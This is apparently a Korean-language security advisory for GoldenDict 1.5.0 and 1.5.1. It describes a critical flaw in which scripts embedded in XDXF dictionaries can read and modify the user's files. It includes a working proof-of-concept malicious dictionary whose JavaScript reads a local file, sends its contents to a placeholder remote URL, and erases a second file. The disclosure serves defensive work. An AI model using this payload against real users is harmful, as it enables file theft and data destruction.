
CVSS v3: (AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:L) - 9.6/10
GoldenDict 1.5.0 및 1.5.1에는 노출된 위험한 메서드가 있어, 사용자가 조작된 사전을 추가한 후 해당 사전에 포함된 용어를 검색하면 파일을 읽고 수정할 수 있습니다.
이 제품은 외부 행위자와의 상호 작용을 위한 인터페이스를 제공하며, 여기에는 GoldenDict(ver. 1.5.0, 1.5.1)의 위험한 메서드가 포함되어 있으나 적절히 제한되지 않습니다. 이로 인해 원격 공격자는 준비된 악성 사전이 프로그램에 추가되어 사용될 때 사용자 파일 시스템의 파일을 읽고 수정할 수 있는 접근 권한을 얻게 됩니다.
CWE-749: Exposed Dangerous Method or Function; CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
GoldenDict Project
GoldenDict - 1.5.0, 1.5.1
GoldenDict 실행 파일, 소스 코드 파일 xdxf.cc, 소스 코드 파일 xdxf2html.cc, 소스 코드 파일 stardict.cc.
원격
true
true
사용자 파일 시스템의 파일을 읽고 수정할 수 있는 접근
취약점을 악용하려면 사용자가 악성 사전을 프로그램에 추가하고 해당 사전에 포함된 용어를 검색해야 합니다.
Grebennikov Timofey, Astra Group 개발 부문 보안 통제 부서의 침투 테스트 그룹 전문가
https://github.com/goldendict/goldendict/releases
GoldenDict는 Wikipedia 및 로컬에 설치된 사전에서 용어를 검색하기 위한 그래픽 프로그램입니다. XML 마크업이 포함된 XDXF 형식을 포함하여 다양한 사전 형식이 지원됩니다. 사전은 다른 사용자들이 인터넷에서 배포합니다.
이 프로그램은 Qt Widgets 구성 요소 패키지에 포함된 브라우저 엔진을 사용하여 사전의 단어를 렌더링하고 표시합니다.
치명적인 취약점을 구현할 수 있게 하는 여러 보안 위반 사항이 동시에 발견되었습니다:
이러한 위반 사항들이 결합되면 인터넷에서 다운로드한 XDXF 사전의 XML 마크업에 악성 JS 코드를 삽입하여 사용자 파일에 접근할 수 있는 가능성이 생깁니다.
Windows에서 취약점을 테스트하려면 파일 시스템에 준비된 두 개의 파일에 영향을 주는 스크립트를 실행할 수 있습니다.
<?xml version="1.0" encoding="UTF-8"?>
<xdxf lang_from="ENG" lang_to="RUS" format="logical">
<full_name>Malicious dictionary</full_name>
<description>You have been pwned!</description>
<meta_info>
<copyright>Public Domain</copyright>
</meta_info>
<lexicon>
<ar>
<k>vuln_test</k>
<def>
Some description...
<script>
var secretFile = 'file:///C:/Users/Public/Documents/secret.txt';
var ideaFile = 'file:///C:/Users/Public/Documents/idea.txt';
var xhr = new XMLHttpRequest();
xhr.open('GET', secretFile, true);
xhr.onload = function() {
var secretData = xhr.responseText;
if (secretData.length > 0) {
var xhr2 = new XMLHttpRequest();
xhr2.open('POST', '[Target-URL]', true);
xhr2.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
xhr2.send('data=' + encodeURIComponent(secretData));
}
};
xhr.onerror = function() {
};
xhr.send();
var xhr3 = new XMLHttpRequest();
xhr3.open('PUT', ideaFile, true);
xhr3.setRequestHeader('Content-Type', 'text/plain');
xhr3.send("");
</script>
</def>
</ar>
</lexicon>
</xdxf>
이 사전이 초기화되면 secret.txt의 내용을 원격 서버로 전송하고 idea.txt를 비웁니다.
공격 성공 여부를 확인합니다 – 수신자는 secret.txt 파일의 내용이 포함된 메시지를 받게 되며, idea.txt 파일은 비어 있게 됩니다.
이 취약점은 Windows 및 Linux 시스템 모두에 영향을 미칩니다. Linux 시스템에서 취약점을 재현하려면 테스트 파일을 저장할 다른 디렉터리를 사용하고 이를 악성 코드에 지정해야 합니다.